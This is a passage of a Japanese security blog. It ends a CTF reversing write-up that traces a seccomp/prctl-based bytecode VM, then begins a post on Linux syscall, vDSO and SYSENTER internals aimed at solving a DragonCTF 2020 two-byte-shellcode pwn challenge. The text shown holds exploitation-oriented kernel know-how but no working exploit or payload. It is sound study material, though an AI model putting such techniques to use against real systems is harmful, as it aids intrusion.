      regs[i] = offset * 8 # stack memory base is regarded as 0 in this parser
    elif(opc == 2):
      tmp = ex(inst, 5)
      inst = inst >> 5
      regs[i] = ex(inst, tmp+1)
      inst = inst >> (tmp+1)
    else:
      break


  ip += 8
  pregs()     # show registers
  handle()    # handle syscall

  # end of bytecode
  if(ip >= len(bytecode)):
    # dump memory
    m.show()
    print(inst_ex)
    # dump message
    for i in range(0x30):
      print(chr(m.getmem(0x217050 + i, 1)), end="")
    print("")
    exit()

  if ip//8 == 0x370:
    m.show()
    for i in range(0x80):
      print(chr(m.getmem(original_workspace + i, 1)), end="")
  if(ip % 0x100 == 0 and ip!=0):
    print("PC: {}".format(hex(ip)))

3: バイトコード

001   set_tid_address(0xda) 0x217000 0x0 0x0 0x0 0x0 0x0
002             prctl(0x9d) 0x28 0x0 0x0 0x0 0x0 0x0
003              mmap(0x9) 0x217000 0x1 0x7 0x22 0x0 0x0
004              read(0x0) 0x0 0x217000 0x20 0x22 0x217000 0x217000

最初に set_tid_address(0x21700) を呼んでいる。これは、current->clear_child_tid を指定した値に設定するシスコールである。

f:id:smallkirby:20201130161425p:plain

set_tid_address

直後の prctl(GET_TID_ADDRESS) では先程格納した current->clear_child_tid を第2引数で指定したユーザランド領域にコピーする。これによって、直接的に mov 命令を呼び出すことなく syscall 経由で値をメモリ中に移すことができる。今回の場合は、アドレス 0x0 に対して値 0x217000mov したことになる。なお、プログラム中ではスタック中の一部の領域を作業領域として割り当てているが、pythonパーサにおいてはこのアドレスを 0x0 としている。

その後、アドレス 0x217000 をRWXで mmap() し、割り当てた領域に対してユーザから 0x20 だけ read() している。 

005   set_tid_address(0xda) 0x217050 0x217000 0x217000 0x217000 0x217000 0x217000
006             prctl(0x9d) 0x28 0x60 0x217000 0x217000 0x217000 0x217000
007   set_tid_address(0xda) 0x217020 0x60 0x217000 0x217000 0x217000 0x217000
008             prctl(0x9d) 0x28 0x0 0x217000 0x217000 0x217000 0x217000
009   set_tid_address(0xda) 0x217054 0x0 0x217020 0x217020 0x217020 0x217020
00a             prctl(0x9d) 0x28 0x60 0x217020 0x217020 0x217020 0x217020
00b   set_tid_address(0xda) 0x0 0x60 0x217020 0x217020 0x217020 0x217020
00c             prctl(0x9d) 0x28 0x0 0x217020 0x217020 0x217020 0x217020
00d   set_tid_address(0xda) 0x217058 0x0 0x217020 0x217020 0x217020 0x217020
00e             prctl(0x9d) 0x28 0x68 0x217020 0x217020 0x217020 0x217020
00f   set_tid_address(0xda) 0x4000004 0x68 0x217020 0x217020 0x217020 0x217020
010             prctl(0x9d) 0x28 0x0 0x217020 0x217020 0x217020 0x217020
011   set_tid_address(0xda) 0x21705c 0x0 0x4000004 0x4000004 0x4000004 0x4000004
012             prctl(0x9d) 0x28 0x18 0x4000004 0x4000004 0x4000004 0x4000004
013   set_tid_address(0xda) 0x0 0x18 0x4000004 0x4000004 0x4000004 0x4000004
014             prctl(0x9d) 0x28 0x4 0x4000004 0x4000004 0x4000004 0x4000004
015   set_tid_address(0xda) 0x217060 0x4 0x4000004 0x4000004 0x4000004 0x4000004
016             prctl(0x9d) 0x28 0x18 0x4000004 0x4000004 0x4000004 0x4000004
017   set_tid_address(0xda) 0x217044 0x18 0x4000004 0x4000004 0x4000004 0x4000004
018             prctl(0x9d) 0x28 0x4 0x4000004 0x4000004 0x4000004 0x4000004

 その後はひたすら get_tid_address/prctl を繰り返すことでメモリ中に値を書き込んでいく。これがインタプリタ中の IP==0x52 まで続き、その時点でのメモリは以下のような感じ。(最初の入力として "A"*0x20 を与えた場合)

f:id:smallkirby:20201130163555p:plain

 

053      rt_sigaction(0xd) 0x1f 0x217050 0x0 0x8 0xcccc050f 0x217050

この後、rt_sigaction が呼ばれる。int signum は 0x1F==SIG_SYS であり、struct sigaction *act は 0x217050 になっている。

f:id:smallkirby:20201130164409p:plain

sa_sigaction() は以下のような命令列である。

f:id:smallkirby:20201130164548p:plain

 

一番最初にRCXに入れる値が壊れているが、後々以下のように書き換えられる。

2a2   set_tid_address(0xda) 0x30 0x0 0xffffffff 0xffffffff 0xffffffff 0xffffffff
2a3             prctl(0x9d) 0x28 0x217022 0xffffffff 0xffffffff 0xffffffff 0xffffffff
2a4   set_tid_address(0xda) 0xffffffff 0x217022 0xffffffff 0xffffffff 0xffffffff 0xffffffff
2a5             prctl(0x9d) 0x28 0x0 0xffffffff 0xffffffff 0xffffffff 0xffffffff
2a6   set_tid_address(0xda) 0x2172840000 0x0 0xffffffff 0xffffffff 0xffffffff 0xffffffff
2a7             prctl(0x9d) 0x28 0x8 0xffffffff 0xffffffff 0xffffffff 0xffffffff

 

 結果として、先程のsig_actionは以下のように書き換えられる。

f:id:smallkirby:20201130170708p:plain

rcx = workspace; # R9レジスタの場所の次
*(short*)rcx = *(short*)(rsi+4); 
*(long*)(0x217022) += 2;

書き換えられた結果、先程のアドレスはスタック上のメモリ領域になっていることが分かる。 ここは、インタプリタ内部のR9レジスタの次の領域である。この領域を特別に workspace と名付けておくことにする。2番目のコードによってworkspaceに2byte分データが書き込まれた後、3番目のコードによって1番目のコード自体のオペランド部分をを書き換えている。これによって rcx=workspace の命令は rcx=workspace+2 となり、このハンドラを実行する度に workspace + 2*n 番地に値を書き込むようになる(mutable instruction)。

 

 

295 prctl[PR_SET_SECCOMP] 0x16 0x2 0x217050 0x217274 0x217274 0x217274 

また、rt_sigactionの直後に上のように seccomp が設定される。RSI==0x2より、seccomp_modeはSECCOMP_MODE_FILTER、設定されるフィルタは0x217050においてある。生成されるBPFをディスアセンブルすると以下の通り。

f:id:smallkirby:20201130173251p:plain

f:id:smallkirby:20201130173520p:plain

(書いてて気づいたけど、この問題のauthor、seccomp-toolのauthorじゃん。。。。)

fork/write/getgid/getpid/gettid/getegid/getpgrp/getppid/geteuidに対してフィルタがかかっていて、呼び出した際のRDI/RSIに対して演算を行うようになっている。

getgid -> &演算

getuid -> 右シフト演算

gettid -> OR演算

getpid -> 加算

getegid -> 減算

getpgrp -> 乗算

getppid -> 左シフト演算

geteuid -> XOR演算

fork -> 除算

演算の後、return (演算結果) | SECCOMP_RET_TRAPをすることによってSIGSYSをraiseしている。これによって、処理は先程のsig_action()へと移り、そこでworkspace+2*nに対して演算結果を格納するようになっている。

 

 

seccompをした後は以下のように続く。

296 set_tid_address(0xda) 0x69a33fff 0x2 0x217050 0x0 0x0 0x0 
297 prctl[GET_TID_ADDR] 0x28 0x10 0x217050 0x0 0x0 0x0
298 set_tid_address(0xda) 0x468932dc 0x10 0x217050 0x0 0x0 0x0
299 prctl[GET_TID_ADDR] 0x28 0x18 0x217050 0x0 0x0 0x0
29a set_tid_address(0xda) 0x2b0b575b 0x18 0x217050 0x0 0x0 0x0
29b prctl[GET_TID_ADDR] 0x28 0x20 0x217050 0x0 0x0 0x0
29c set_tid_address(0xda) 0x1e8b51cc 0x20 0x217050 0x0 0x0 0x0
29d prctl[GET_TID_ADDR] 0x28 0x28 0x217050 0x0 0x0 0x0
29e prctl[PR_SETNAME] 0xf 0x217000 0x217050 0x0 0x0 0x0
29f prctl[PR_GET_NAME] 0x10 0x30 0x217050 0x0 0x0 0x0
2a0 set_tid_address(0xda) 0xffffffff 0x30 0x217050 0x0 0x0 0x0

 

重要なのは prctl[PR_SETNAME] のところで、引数が最初に read() でユーザから入力した値になっている。これによって、current->comm がユーザ入力値になる。(commはchar[TASK_COMM_LEN==0x10]だから入力値の半分だけがプロセス名になる)

f:id:smallkirby:20201130175349p:plain

そのあと、入力値をメモリ(これは、スタック上に確保されるメモリ)のオフセット0x30に prctl[PR_GETNAME] している。このアドレスは、先程のsig_action()の一番最初の命令で読み込まれるアドレスであった。

f:id:smallkirby:20201130175542p:plain

 

 

これ以降は、先程seccompで設定したシスコールを呼ぶことで諸々の演算を行ったり、上に示したようにGETNAMEで値を8byteまるごとコピーしたりしながら続いていく。一番最後に以下のように write を呼んで終わり。

70a write(0x1) 0x217020 0x217050 0x24 0x0 0x0 0x0 
70b write(0x1) 0x217020 0x217000 0x21 0x0 0x0 0x0

 

 

 

 

4: え、配布コード間違えてね?と一瞬思ったけどそんなはずもなく、ただただ自分の無力を恨みながら寝ることにします、おやすみなさい

あとは上のbpfの演算表を用いて計算していくだけのような気がしたんですが、結局どういう状態になれば正解でどういう状態になると不正解なのかわかりませんでした。

一番最後の write 及びその直前は、以下のようなコードになっています。

705             prctl[GET_TID_ADDR] 0x28 0x217070 0x10 0x0 0x0 0x0 
706   set_tid_address(0xda) 0x217020 0x217070 0x10 0x0 0x0 0x0 
707             prctl[GET_TID_ADDR] 0x28 0x10 0x10 0x0 0x0 0x0 
708   set_tid_address(0xda) 0xa 0x10 0x10 0x0 0x0 0x0 
709             prctl[GET_TID_ADDR] 0x28 0x217020 0x10 0x0 0x0 0x0 
70a             write(0x1) 0x217020 0x217050 0x24 0x0 0x0 0x0 
70b             write(0x1) 0x217020 0x217000 0x21 0x0 0x0 0x0 

おそらく最後のwrite2つは、入力値が正しくないとseccomp中の fd!=0 の条件(ここでfdはメモリ[0x10])で死ぬということだと思ったんですが。但し、その直前の706/707でメモリ[0x10]に0xA(改行)を入れる操作をしているため、最後のwriteは必ず条件を満たさず死ぬことになります。

ここで作問者のwriteupにあるバイトコード生成プログラムを見てみると、最後のwriteの直前で以下のようなことをしています。

put_val("\n".ord, INPUT_AT + INPUT_SIZE)

これによってflagの最後に改行を加えます。このput_valのコードを見てみると。

srand(333)
# val must be 32-bit
def put_val(val, addr)
  idx = rand(14) # 0~13
  set_reg(idx, addr)
  scall(:set_tid_address, val)
  scall(:prctl, PR_GET_TID_ADDRESS, Reg.new(idx))
end

randで帰ってきた値のインデックスを持つレジスタを媒介にして操作を行っています。本来はここでreg[2]を除外するべきなような感じが。結果、生成されたバイトコードだとreg[2]を中継として使用することになっているので、reg[2]=0xAとなり、如何なる入力値を与えたとしても最後のwriteで死ぬようになっています。

ただ、このコードなかでrandは1回しか使われておらず、srand(333)の時の最初のrand(14)の値は12になるはずなので、なんで2がバイトコードなかで使われているのかちょっと不思議でした。まぁ、Rubyの乱数の仕組みよく知らんので知らんけど。

 

 

と思ったんですが、10+チームということはguessing要素がある確率は低いと思うので、多分僕の勘違いだと思います。

 

というわけで、結局author's writeupを見ても、結局何がどういう条件になればOKなのかわかりませんでした。シェルを取れば良いんでしょうか。誰かrevの解き方を教えてください。






なんか話が途中になりましたが、結局何がどうなれば正解なのかを突き止めるのに2時間くらい費やしてしまってもう眠くなったので寝ます。writeupは作問者様のgithubにあります。あとは、ひたすらやってる演算を逆演算するだけっぽいです。revむずいです。

github.com

 

良い問題でした。けどrev問はやっぱよくわからん。
おやすみなさい








続く...

 

 

 

 

 

 

【pwn 40.0】syscall / vDSO Internal ~ with DragonCTF 2020 no-eeeeeeeeemoji

keywords

syscall / vsyscall / vDSO / beginner / two-byte shellcode / DragonCTF 2020

 

 

1: イントロ

いつぞや開催された DragonCTF 2020。pwn問題 no-eeeeeeeeemoji。強豪犇めくCTFにおいて、一番最初から出題されているのに 1solve。ざっくり概要を言ってしまうと、任意長のshellcodeを流せるが、そのうち最初に自由に実行できるのは2byteのみであり、2byteの後続の命令はNOP+直ちにexitする関数で塗りつぶされ、またshortjumpで届く範囲も全て不正な値で塗りつぶされるという状況である。

想定解では、sysenter命令によってごにょごにょする。リアルタイムで考えているときは、2byte+NOPスレッド(0x90)によって実現可能な6万通りの命令を分類して目grepして使えそうなものを考えていた。勿論systenerやsysreturn等も候補に上がっていたのだが、すぐに真切りしてしまった。

CTF後になんでsysenterをもっと考えられなかったのかと回顧してみると、おそらくsysenter/sysreturn等のシステムコールが何をするものなのかをざっくりとしか把握していないからだと結論づいた。自分で知っていると思っていることを実は知らないと真摯に認めることは何ともしんどいものではあるが、2byteでできることとしてsysenterをよく吟味できなかったということはsyscall/vsyscall周りのことを雰囲気でしか理解していないということの証明にほかならない

曖昧さは猫をも殺すらしい。

今後このようなことが起こらないよう、syscall周りの知識を再度調べ直し、体系的に理解し直してみたいと思う。最後に、おさらいした知識を使ってDragonCTFの問題 no-eeeeeeeeeeeemoji を解いていく。

【注】間違いがあったら教えてビンタしてください、そしたら泣きながら警察に電話します。

 

2: syscall

MSR_LSTAR

まずは64bitにおける通常のシスコール呼び出し方法である syscall から見ていく。

Intelの50MB以上のボリュームのあるマニュアルによると、これは以下を行う命令である。

SYSCALL invokes an OS system-call handler at privilege level 0. It does so by loading RIP from the IA32_LSTAR MSR (after saving the address of the instruction following SYSCALL into RCX). (The WRMSR instruction ensures that the IA32_LSTAR MSR always contain a canonical address.) SYSCALL also saves RFLAGS into R11 and then masks RFLAGS using the IA32_FMASK MSR (MSR address C0000084H); specifically, the processor clears in RFLAGS every bit corresponding to a bit that is set in the IA32_FMASK MSR.

IA32_LSTARという名前のMSR(アドレス0xC0000084)が指すアドレスにPCを移す。また、RFLAGSレジスタをR11に退避させ、RFLAGS&IA_32_FMASKというマスク処理を行う。この IA32_LSTAR に格納されているアドレスが64bitシステムコールにおけるエントリポイントということになる。また、呼び出し時のユーザランドのRIPをRCXに退避する。

このMSRは、カーネルブート時に以下の syscall_init() @/arch/x86/kernel/cpu/common.c において初期化される。

void syscall_init(void)
{
	wrmsr(MSR_STAR, 0, (__USER32_CS << 16) | __KERNEL_CS);
	wrmsrl(MSR_LSTAR, (unsigned long)entry_SYSCALL_64);

前者の wrmsr は後述するSYSENTERで利用されるものである。後者の wrmsrlMSR_LSTARentry_SYSCALL_64() のアドレスをセットしている。

このエントリポイントは、/arch/x86/entry/entry_64.S においてアセンブリで実装されている関数である。以下ではその流れを見ていく。

 

entry_SYSCALL_64

以下が entry_SYSCALL_64 の実装である。冗長な部分や通常通らないパスは省略している。なお、以下で参照する全てのコードは commit:169b93899c7dfb93a2b57da8e3505da9b2afcf5c 時点のカーネルを参照している。

ENTRY(entry_SYSCALL_64)
 	UNWIND_HINT_EMPTY
# kernel用(per-CPU)のGSBaseの獲得 ① swapgs
# ユーザランドのスタックポインタの退避 ② movq %rsp, PER_CPU_VAR(cpu_tss_rw + TSS_sp2) # kernel用にCR3レジスタを切り替える。 ③ SWITCH_TO_KERNEL_CR3 scratch_reg=%rsp # kernelRSPを取得。 ④ movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp # ユーザランドレジスタでstruct pt_regsをスタック上に生成 pushq $__USER_DS /* pt_regs->ss */ # 0x2b pushq PER_CPU_VAR(cpu_tss_rw + TSS_sp2) /* pt_regs->sp */ # 先程退避させていおいたRSP pushq %r11 /* pt_regs->flags */ pushq $__USER_CS /* pt_regs->cs */ # 0x33 pushq %rcx /* pt_regs->ip */ GLOBAL(entry_SYSCALL_64_after_hwframe) pushq %rax /* pt_regs->orig_ax */ # レジスタの保存とヌルクリア(xor) PUSH_AND_CLEAR_REGS rax=$-ENOSYS TRACE_IRQS_OFF /* IRQs are off. */ movq %rax, %rdi movq %rsp, %rsi call do_syscall_64 # 実際の処理 TRACE_IRQS_IRETQ /* we're about to change IF */ # できる限りSYSRETで返りたい。RCX==R11の場合にはそれができる。IntelCPUの場合、RCX!=R11で#GS例外が発生する。こいつが発生すると、レジスタの値がuser-controllableな状態で処理が移ることになり、不味い movq RCX(%rsp), %rcx movq RIP(%rsp), %r11 cmpq %rcx, %r11 /* SYSRET requires RCX == RIP */ jne swapgs_restore_regs_and_return_to_usermode # ⑤ shl $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx sar $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx /* If this changed %rcx, it was not canonical */ cmpq %rcx, %r11 jne swapgs_restore_regs_and_return_to_usermode cmpq $__USER_CS, CS(%rsp) /* CS must match SYSRET */ jne swapgs_restore_regs_and_return_to_usermode movq R11(%rsp), %r11 cmpq %r11, EFLAGS(%rsp) /* R11 == RFLAGS */ jne swapgs_restore_regs_and_return_to_usermode # SYSCALLはR11にRFLAGSを退避させる際にRFフラグをクリアするが、他のパスにおいてこれがセットされた場合適切に処理する。 testq $(X86_EFLAGS_RF|X86_EFLAGS_TF), %r11 jnz swapgs_restore_regs_and_return_to_usermode /* nothing to check for RSP */ cmpq $__USER_DS, SS(%rsp) /* SS must match SYSRET */ jne swapgs_restore_regs_and_return_to_usermode # SYSRETで返れる。やったね syscall_return_via_sysret: /* rcx and r11 are already restored (see code above) */ POP_REGS pop_rdi=0 skip_r11rcx=1 # ここまででRSP/RDIを除いて戻し終わっている。 movq %rsp, %rdi movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp UNWIND_HINT_EMPTY pushq RSP-RDI(%rdi) /* RSP */ pushq (%rdi) /* RDI */ # 作業スタックの情報を消去 STACKLEAK_ERASE_NOCLOBBER SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi popq %rdi popq %rsp USERGS_SYSRET64 END(entry_SYSCALL_64)

 

なお、SYSCALLによってユーザランドRSPが保存されることはないため、実際のシスコールハンドラに処理が移る前に保存しておく必要があり、ソフトウェアレベルで責任を負う。RSPはkernelがkernelスタックに退避させることになる。(RIPは呼び出し時にハードウェアレベルでRCXに退避される)。一応言及しておくと、shadow stackが有効になっている場合には、SSPの値が IA32_PL3_SSP MSR に退避される。shadow stackについては以下のエントリを参照。

smallkirby.hatenablog.com

 

上のアセンブリを軽く概観する。まず、SYSCALLの直後に swapgs を行う①。kernelに入った直後は右も左も分からず裸で荒野に投げ出された羊のようなものだから、swapgs によって kernel GS baseGS base を交換することで、一時的なkernel領域での作業領域を復元する。これは、CPUに固有(per-CPU)の領域である。この領域に対して、ユーザランドRSPを退避させる②。その後、CR3レジスタを切り替えて権限を切り替える③。scratch_reg=%rsp となっているのは、CR3レジスタに対して直接的に OR や ADD 等の命令を行うことはハードウェアレベルで不可能なため、他のレジスタを媒介として演算を行う必要があり、その媒介に使用するのがRSPということである。そのために直前でRSPを先に退避させているわけである。CR3を切り替えた後は、作業領域からCPU固有のkernelスタックのアドレスをRSPに取り出して、これで晴れてカーネルランドにおける作業準備が整う。

その後、諸々のレジスタをスタックに詰んで struct pt_regs を生成する④。この構造体はレジスタの集合を表す構造体であり、このあとに呼び出すシスコールの実体に参照渡しすることで返り値を調整したりする。その後、レジスタをクリアして割り込みを禁止した後で do_syscall_64() を呼び出す。この関数については、後述することにする。

do_syscall_64() が呼び終わったら、RCXとRIPの値をRCX/R11に復元する。ここで、ユーザランドに戻るにはIRETとSYSRETの2通りがあり、後者を使うことが望ましい。但し、SYSRETには RCX==RIP という条件と、RCXがcanonical addressであるという条件が有る。後者が満たされていない場合、IntelCPUはGP#例外を発生させる。

cannonical addressとは、アドレス空間に於いて許容されるアドレスのことを指す。Intel x64アーキテクチャの場合には、48bit(LSB)目より上位のビットが全て48bit目と同じアドレスのことを言う。以下のWikipediaの図がわかりやすい。 

f:id:smallkirby:20201124222022p:plain

https://en.wikipedia.org/wiki/X86-64

ユーザランドの上位アドレスが0x7FFFF...になっていたりkernelランドのアドレスが0xFFFFF...になっているのはこのためである。要は48bit目以降が符号拡張されていればcanonicalということである。よって、SYSRETを行う前に、ビットシフト演算等を通してユーザランドの戻りアドレスが符号拡張が為されているかを確認している⑤。

その後、諸々のレジスタを戻してユーザランドに返れば良いように思えるがそうも行かない。SYSRET自体はRSPを退避しないため、ユーザランドカーネルランドのプログラムのどちらかがこれを適切に処理しなくてはいけないのだが、前述したとおりRSPに関してはカーネル側が責任を持つ。ここで、カーネルランドでRSPユーザランドに戻した直後に割り込みが発生した場合、その割り込みをユーザランドのスタックで処理してしまうことになる。これだと不味いため、割り込みが発生しないようにフラグをセットして有ることを確認する⑥。 

これらのチェックにパスした後でようやく諸々のレジスタを復元する。SYSRETはRCXをRIPに、R11をRFLAGSに復元する。直前にswapgsで再びkernel GS baseGS baseを入れ替えて、SYSRETを呼ぶことで無事にユーザランドに戻ることができる。尚、上記のチェックのどれかに引っかかった場合はIRETを呼ぶ遅いパスに移行するのだが、今回はそっちの経路は扱わない。

 

do_syscall_64

do_syscall_64() @/arch/x86/entry/common.c は64bitシスコール呼び出しの本体であり、以下のような実装になっている。

f:id:smallkirby:20201125051103p:plain

do_syscall_64

とりわけ特筆すべきところはない。システムコールの番号が正常な範囲内(394)であれば、システムコールハンドラの関数テーブルから適切なものを呼び出して、その返り値をRAXに入れているだけである。ここで、もしもシスコール番号が不正であった場合の返り値として、前述のentry_SYSCALL_64()において -ENOSYS が格納されている。よって、関数呼び出しが起こらなかった場合にはそのままこの値がエラー番号として返ることになる。

関数テーブルの各々の実装についてはここでは触れない。

以上が SYSCALL を用いた64bitシステムコールの実装であった。

 

 

3: 64bit vDSO

vDSO導入

SYSCALLにおいてはユーザランドのRIPはRCXに退避される。そのため、これらのお世話は呼び出し側が行う必要はない。そのため、glibcシステムコールラッパが行うことは殆どないのだが、のちのvDSOに繋がるため結合部分の実装をほんの軽く概観する。

例えば write() のラッパは以下のようになっている。

f:id:smallkirby:20201124233833p:plain

__libc_write

f:id:smallkirby:20201124233914p:plain

disassemble of __libc_write

単純にRAXに1を入れてSYSCALLを呼び出すだけである。RIPはSYSCALL/SYSRETが勝手に処理してくれるし、RSPカーネルが良しなにしてくれるため、glibc側でやることは何もない。

 

但し、例外が存在する。例えば gettimeofday() を呼び出した際には以下のようになる。

f:id:smallkirby:20201124234919p:plain

when gettimeofday() is called

アドレス0x7FFF27CEf840にジャンプしている。この時のメモリマップは以下のとおり。

f:id:smallkirby:20201124234959p:plain

memory map

先程のアドレスは、vDSOという領域に属していることになる。

結論から言うと、このvDSOという領域は、一部のシステムコールを高速化するためにkernel領域からユーザランドに共有オブジェクトの形でマッピングされている領域である。単なる共有オブジェクトであるから、GDB上で dump memory ./vdso-64.so 0x7FFF27CEF000 0x7FFF27CF000 のようにしてメモリダンプして情報を見てみると、以下のようになる。

f:id:smallkirby:20201124235742p:plain

file of vDSO

f:id:smallkirby:20201124235756p:plain

header of vDSO as ELF

f:id:smallkirby:20201124235815p:plain

symbols of vDSO as ELF

確かにELF形式のファイルとして情報を持っていることが分かる。ここで、先程ジャンプしたアドレス0x7FFF27CEF840のオフセットである0x840周辺は以下のようになっている。

f:id:smallkirby:20201125000134p:plain

objdump around 0x840 of vDSO as ELF

__vdso_gettimeofday@@LINUX_2.6 という関数がドンピシャである。これが gettimeofday() の実体である。そして最大の特徴は、内部でSYSCALLが呼ばれないということである。単純にアセンブリを見るとSYSCALLが有るが、通常このパスは通らず、一度もSYSCALLを呼ばないまま終了する。このように、カーネル空間への切り替えが伴わないため、余計なオーバーヘッドを削ることができ、結果的に高速化を実現することができるのがvDSOである。

全ての関数呼び出しがvDSOを経由するわけではない。vDSOを用いた関数呼び出しを行うのは、先程のvDSOシンボル情報からも分かるとおり、gettimeofday() / clock_gettime() / time() / get_cpu() の4つだけである。其れ以外は先程見たとおり、SYSCALLを呼んでカーネルに入っていく。

 

vDSOのマッピングアドレス

それではこのvDSOはどのようにして初期化され、どうやってカーネル空間からユーザ空間にマップされ、どうやって共有オブジェクトとして機能するのか。本来であれば、vDSOよりも古いシステムである vsyscall について触れるのが先のような気もするが、そんなに根本的な違いはないため64bit vDSOから先に概観してしまう。

まず、vDSOが何処にマップされるか見てみる。

f:id:smallkirby:20201125001622p:plain

map of vDSO and vsyscall

プロセスごとにvDSOがマップされるアドレスは異なることが見て取れる。(vDSOは1ページ分しか無い)。因みに先取りしてしまうと、vsyscallというページはプロセスによらず常に0xFFFFFFFFFF600000から1ページ分マッピングされていることが分かる。vDSOはこのvsyscallページを動的に配置したものであり、vsyscallをセキュリティ的に安全に置き換えたものと考えられる。vDSOはリンク時バイナリイメージをメモリにロードする際にカーネルマッピングする。このプロセスについては後述する。

 

vDSOの初期化

vDSOの初期化もシスコールの初期化と同様にカーネルブート時に init_vdso() @/arch/x86/entry/vdso/vma.c において行われる。

f:id:smallkirby:20201125003421p:plain

init_vdso()

実体は init_vdso_image() である。

f:id:smallkirby:20201125003538p:plain

init_vdso_image()

まぁ最適化のために色々とごちゃごちゃしているが、大したことはしていない。というか、実は init_vdso() を呼び出した時点で、というよりもカーネルをビルドした時点でvDSOイメージ及びその情報はほぼほぼ決まっている。事実、init_vdso()を呼び出した時の vdso_image_64 の値は以下のようになっている。

f:id:smallkirby:20201125010247p:plain

vdso_image_64 when init_vdso() is called

そのサイズ(0x1000)も他の諸々のアドレスも既に格納されている。

ここで、dataメンバの指すアドレス配下のようになっている。

f:id:smallkirby:20201125010528p:plain

raw_data

先頭にある、親の顔より見たELFヘッダ(7F45)からも分かるとおり、このraw_dataこそがvDSOの本体に他ならない。このバイナリイメージは、カーネルが起動する際にわざわざ計算して生成するものではない。カーネルビルド時に /arch/x86/entry/vdso/vdso2c.c がビルドされてできるプログラムによって、/arch/x86/entry/vdso/vdso-image-64.c というファイルが生成され、その中にベタ書きしてある。

f:id:smallkirby:20201125010932p:plain

raw_data

カーネルはこのデータを読み込んでvDSOとして使用するだけである。そんなわけで、init_vdso_image64() は多分何もやってない。知らんけど。関数の前後で値がなんも変わってなかったから、まぁ多分何もやっていない。

 

ここまで、vDSOの初期化を見てきた。初期化と言っても、カーネルビルド時にほぼ全ての情報が生成され、ブート時にはそれらをロードするだけである。

 

 

ユーザ空間へのマッピング

さてさて、こっからが本番。vDSOはバイナリイメージのロード時にカーネルによってユーザ空間にマッピングされる。そのエントリポイントは map_vdso_randomized() @/arch/x86/entry/vdso/vma.c である。(このへん、かなり最適化されていてかなりデバッグめんどい)

f:id:smallkirby:20201125012943p:plain

map_vdso_randomized()

vdso_addr() によって配置アドレスを取得した後、map_vdso()で実際にマッピングしている。先程までのvmmapを見ていれば分かるとおり、vDSOはユーザスタックの真下(上位アドレス)に置かれるvDSO自体がランダマイズされていると言うより、ランダム配置のstackに隣接して置かれることになる。よって、current->mm->start_stackによってユーザスタックのアドレスを入手している。vdso_addr()自体はスタック開始アドレスを基準としてページアラインさせたり終端アドレスを丸めたりと微調整しているだけで、基本的に開始アドレスはスタックアドレスと同じになると考えてよい。因みに、vDSOにおいて必要となるカーネルシンボルのいくつかは vvar という領域としてこれもやはりユーザ空間にRでマッピングされることになる。

map_vdso() は以下の感じ。vvarのマッピングも一緒に行う。

f:id:smallkirby:20201125014228p:plain

map_vdso() 1/2

f:id:smallkirby:20201125014247p:plain

map_vdso() 2/2

セマフォを取得した後、最初に get_unmapped_area() でページを取得する。その後 _install_special_mapping() でvDSOにイメージを書き込む。権限は READ/EXEC/MAYREAD/MAYWRITE/MAYEXECである。write権限はgdb用に確保してあるらしい。ありがたい。その後同様にしてvvarにデータを書き込む。権限は見ての通りで、書き込みと実行は不可である。エラーが発生しなかった場合、最後にcurrent->mm->contextにvDSOとvvarのアドレスを書き込んで終わりである。(余談だが、ptraceの不具合だか何だかで、gdbからvvar領域を読み込むことはできなくなっている。詳しく調べていないのでよく知らんけど)

 

ここまで、64bit空間におけるvDSOのマッピングを見てきた。ユーザスタックに隣接するようにマッピングしていることが分かる。

 

 

 

4: 32bit SYSENTER/SYSEXIT

ああああああああああああああああああああああああああああああああああああああああああああああああ、レポートと実験終わんないよおおおおおおおおおおおおおおおおおおおおおおおおおおおおお。

 

おっと、危ない、取り乱した。気を取り直して。

ここまで、64bitモードにおける2通りのシステムコール呼び出し(SYSCALL/vDSO)を見てきた。続いて、32bitにおけるシスコール呼び出しを見ていく。尚、以降の話は純粋な32bitOSにおける話ではなく64bitOSにおける32bitエミュレーションの話である。これはカーネルビルドコンフィグに於いて IA32_EMULATION を有効にする必要が有る。

f:id:smallkirby:20201125002741p:plain

IA32_EMULATION

32bitモードに於いては、システムコールの呼び出しをSYSENTERで行う。これはおおよそSYSCALLの32bitみたいな感じである。SYSCALLのエントリポイントも同様にして、カーネルのブート時に  syscall_init() によって決定される。

f:id:smallkirby:20201125020306p:plain

init of MSR_IA32_SYSENTER_EIP

SYSENTERは実行時に MSR_IA32_SYSENTER_EIP MSRの値をEIPにロードする。ブート時にこのMSRの値を entry_SYSENTER_compat() に設定しているため、64bitOSにおけるSYSENTERのエントリポイントはこの関数になる。entry_SYSENTER_compat/arch/x86/entry/entry_64_compat.Sアセンブリで実装されている。実装はSYSCALLのエントリポイントとほぼ同じであるため掲載しない。

 

 

ここで重要なこととして、SYSCALLでは呼び出し時にRIPがRCXに退避されていたが、SYSENTERではEIPは何処にも退避されない

もう一回言っとこ。SYSCALLでは呼び出し時にRIPがRCXに退避されていたが、SYSENTERではEIPは何処にも退避されない

あと一回。SYSCALLでは呼び出し時にRIPがRCXに退避されていたが、SYSENTERではEIPは何処にも退避されない

 

 

しかも、同様にユーザランドEFLAGSも退避されることはない。ESPは実行前にユーザプログラム側でEBPに退避させる必要が有る。こいつは、まじで何もしてくれない。ニートシステムコールだ。これらのレジスタの値は、呼び出し側で退避させておく必要が有る。これらも同様にしてlibc並びにvDSOが処理してくれるのだが、これは大事なことなので後述する。

SYSENTERと対となる命令はSYSEXITであり、これはECXに入っている値をEIPにロードしてユーザランドに返す命令である。

 

 

...........??????????????????????????

 

 

 

先程言ったとおり、SYSENTERの呼び出し時にECXに戻りアドレスが入っているようなことはない。以下のcalling conventionが示すように、ECXには単に第2引数が入っている。

f:id:smallkirby:20201125021320p:plain

calling convention of SYSENTER

それでは、いつのまにこのECX に戻りアドレスが代入されたのか。そもそも戻りアドレスはどうやって計算したのか。

これは、entry_SYSENTER_compat() 内では行われず、そこで呼び出される do_fast_syscall_32() において行われる。

f:id:smallkirby:20201125022021p:plain

do_fast_syscall_32 1/2

f:id:smallkirby:20201125022038p:plain

do_fast_syscall_32 2/2

第1行目の landing_pad が大切である。ユーザプロセスのvDSOアドレス+ vdso_image_32.sym_int80_landing_pad を計算して landing_pad と名付けている。この時、vdso_image_32.sym_int80_landing_pad の値は以下のようになっている。

f:id:smallkirby:20201125022431p:plain

int80_landing_pad

